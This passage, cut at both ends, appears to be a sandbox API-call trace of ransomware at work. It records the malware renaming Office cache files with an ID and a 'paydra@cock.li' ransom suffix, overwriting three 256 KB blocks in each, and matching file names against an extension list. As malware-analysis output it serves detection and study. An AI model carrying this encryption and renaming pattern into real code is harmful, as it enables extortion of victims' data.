Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[paydra@cock.li].html")) returned 1 [0042.299] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0042.299] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0x0) returned 1 [0042.299] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.299] ReadFile (in: hFile=0x1dc, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.304] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.304] ReadFile (in: hFile=0x1dc, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.310] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.310] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.310] ReadFile (in: hFile=0x1dc, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.325] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.325] WriteFile (in: hFile=0x1dc, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2b1fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0042.610] SetEndOfFile (hFile=0x1dc) returned 1 [0042.610] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3ed1060 [0042.739] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.739] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed1060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed1060*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.844] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.844] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed1060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed1060*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.845] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.845] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed1060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed1060*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.847] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed1060 | out: hHeap=0x4b0000) returned 1 [0042.847] CloseHandle (hObject=0x1dc) returned 1 [0042.847] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0042.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0042.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0042.848] lstrlenW (lpString=".doc") returned 4 [0042.848] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.848] lstrlenW (lpString=".docx") returned 5 [0042.848] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0042.848] lstrlenW (lpString=".pdf") returned 4 [0042.848] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.848] lstrlenW (lpString=".xls") returned 4 [0042.848] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.848] lstrlenW (lpString=".xlsx") returned 5 [0042.848] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0042.848] lstrlenW (lpString=".ppt") returned 4 [0042.848] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0042.848] lstrlenW (lpString=".zip") returned 4 [0042.848] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.848] lstrlenW (lpString=".rar") returned 4 [0042.848] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.848] lstrlenW (lpString=".bz2") returned 4 [0042.848] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.848] lstrlenW (lpString=".7z") returned 3 [0042.848] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0042.848] lstrlenW (lpString=".dbf") returned 4 [0042.848] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0042.849] lstrlenW (lpString=".1cd") returned 4 [0042.849] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0042.849] lstrlenW (lpString=".jpg") returned 4 [0042.849] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0042.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0042.849] lstrlenW (lpString=".doc") returned 4 [0042.849] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.849] lstrlenW (lpString=".docx") returned 5 [0042.849] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0042.849] lstrlenW (lpString=".pdf") returned 4 [0042.849] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.849] lstrlenW (lpString=".xls") returned 4 [0042.849] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.849] lstrlenW (lpString=".xlsx") returned 5 [0042.849] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0042.849] lstrlenW (lpString=".ppt") returned 4 [0042.849] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0042.849] lstrlenW (lpString=".zip") returned 4 [0042.849] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.849] lstrlenW (lpString=".rar") returned 4 [0042.849] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.849] lstrlenW (lpString=".bz2") returned 4 [0042.849] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.849] lstrlenW (lpString=".7z") returned 3 [0042.849] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0042.850] lstrlenW (lpString=".dbf") returned 4 [0042.850] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0042.850] lstrlenW (lpString=".1cd") returned 4 [0042.850] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0042.850] lstrlenW (lpString=".jpg") returned 4 [0042.850] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.850] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0042.850] lstrlenW (lpString="OnoteLR.cab") returned 11 [0042.850] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0042.850] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=17456632) returned 1 [0042.850] CloseHandle (hObject=0x1dc) returned 1 [0042.850] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab")) returned 0x2020 [0042.850] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0042.851] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[paydra@cock.li].html")) returned 1 [0042.851] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0042.851] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0x0) returned 1 [0042.851] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.851] ReadFile (in: hFile=0x1dc, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.965] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.965] ReadFile (in: hFile=0x1dc, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.970] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.970] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.970] ReadFile (in: hFile=0x1dc, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.020] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.020] WriteFile (in: hFile=0x1dc, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2b1fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0043.313] SetEndOfFile (hFile=0x1dc) returned 1 [0043.313] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3fc38a8 [0043.317] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.317] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.317] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.318] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.318] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.318] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.320] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0043.320] CloseHandle (hObject=0x1dc) returned 1 [0043.321] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0043.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0043.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0043.321] lstrlenW (lpString=".doc") returned 4 [0043.321] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.321] lstrlenW (lpString=".docx") returned 5 [0043.321] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.321] lstrlenW (lpString=".pdf") returned 4 [0043.321] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.321] lstrlenW (lpString=".xls") returned 4 [0043.321] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.321] lstrlenW (lpString=".xlsx") returned 5 [0043.321] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0043.321] lstrlenW (lpString=".ppt") returned 4 [0043.321] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0043.322] lstrlenW (lpString=".zip") returned 4 [0043.322] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.322] lstrlenW (lpString=".rar") returned 4 [0043.322] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.322] lstrlenW (lpString=".bz2") returned 4 [0043.322] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.322] lstrlenW (lpString=".7z") returned 3 [0043.322] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0043.322] lstrlenW (lpString=".dbf") returned 4 [0043.322] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0043.322] lstrlenW (lpString=".1cd") returned 4 [0043.322] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0043.322] lstrlenW (lpString=".jpg") returned 4 [0043.322] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0043.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0043.322] lstrlenW (lpString=".doc") returned 4 [0043.322] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.322] lstrlenW (lpString=".docx") returned 5 [0043.322] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.322] lstrlenW (lpString=".pdf") returned 4 [0043.322] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.322] lstrlenW (lpString=".xls") returned 4 [0043.322] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.322] lstrlenW (lpString=".xlsx") returned 5 [0043.322] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0043.322] lstrlenW (lpString=".ppt") returned 4 [0043.323] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0043.323] lstrlenW (lpString=".zip") returned 4 [0043.323] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.323] lstrlenW (lpString=".rar") returned 4 [0043.323] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.323] lstrlenW (lpString=".bz2") returned 4 [0043.323] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.323] lstrlenW (lpString=".7z") returned 3 [0043.323] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0043.323] lstrlenW (lpString=".dbf") returned 4 [0043.323] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0043.323] lstrlenW (lpString=".1cd") returned 4 [0043.323] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0043.323] lstrlenW (lpString=".jpg") returned 4 [0043.323] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.323] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0043.323] lstrlenW (lpString="GrooveLR.cab") returned 12 [0043.323] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0043.324] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=4095519) returned 1 [0043.324] CloseHandle (hObject=0x1dc) returned 1 [0043.324] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab")) returned 0x2020 [0043.324] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0043.324] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[paydra@cock.li].html")) returned 1 [0043.324] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0043.324] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0x0) returned 1 [0043.325] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.325] ReadFile (in: hFile=0x1dc, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.327] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.327] ReadFile (in: hFile=0x1dc, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.332] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.332] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.332] ReadFile (in: hFile=0x1dc, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.346] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.346] WriteFile (in: hFile=0x1dc, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2b1fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0043.601] SetEndOfFile (hFile=0x1dc) returned 1 [0043.602] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3fc38a8 [0043.605] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.605] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.607] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.607] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.609] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.609] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.610] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0043.610] CloseHandle (hObject=0x1dc) returned 1 [0043.611] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0043.611] lstrlenW (lpString="C:\\MSOCache\\All 